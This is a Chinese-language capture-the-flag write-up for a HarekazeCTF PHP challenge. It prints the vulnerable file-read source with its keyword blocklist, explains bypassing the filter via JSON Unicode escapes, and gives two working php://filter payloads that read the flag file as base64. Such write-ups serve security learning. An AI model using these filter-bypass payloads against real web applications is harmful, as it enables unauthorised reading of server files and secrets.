# 题目分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php error_reporting(0);
if (isset($_GET['source'])) { show_source(__FILE__); exit(); }
function is_valid($str) { $banword = [ '\.\.', '(php|file|glob|data|tp|zip|zlib|phar):', 'flag' ]; $regexp = '/' . implode('|', $banword) . '/i'; if (preg_match($regexp, $str)) { return false; } return true; }
$body = file_get_contents('php://input'); $json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) { $page = $json['page']; $content = file_get_contents($page); if (!$content || !is_valid($content)) { $content = "<p>not found</p>\n"; } } else { $content = '<p>invalid request</p>'; }
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content); echo json_encode(['content' => $content]);
|
题目给了源码,利用点应该为 file_get_contents
题目过滤了一些关键字,将 flag 格式过滤
# 解题思路
tips: 在 json 中,字符 Unicode 编码之后等同于该字符,比如 php 等同于 \u0070\u0068\u0070
file_get_contents('php://input') 获取 post 的数据, json_decode($body, true) 用 json 格式解码 post 的数据,然后 is_valid($body) 对 post 数据检验is_valid($body) 对 post 数据检验,导致无法传输 $banword 中的关键词,也就无法传输 flag ,这里在 json 中,可以使用 Unicode 编码绕过, flag 就等于 \u0066\u006c\u0061\u0067- 通过检验后,获取
page 对应的文件,并且页面里的内容也要通过 is_valid 检验,然后将文件中 HarekazeCTF{} 替换为 HarekazeCTF{<censored>} ,这样就无法明文读取 flag - 这里传入
/\u0066\u006c\u0061\u0067 后,由于 flag 文件中也包含 flag 关键字,所以返回 not found ,这也无法使用 file://
file_get_contents 是可以触发 php://filter 的,所以考虑使用伪协议读取,对 php 的过滤使用 Unicode 绕过即可
# 构造
1 2 3
| {"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006C\u0061\u0067"}
{"page":"\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067"}
|

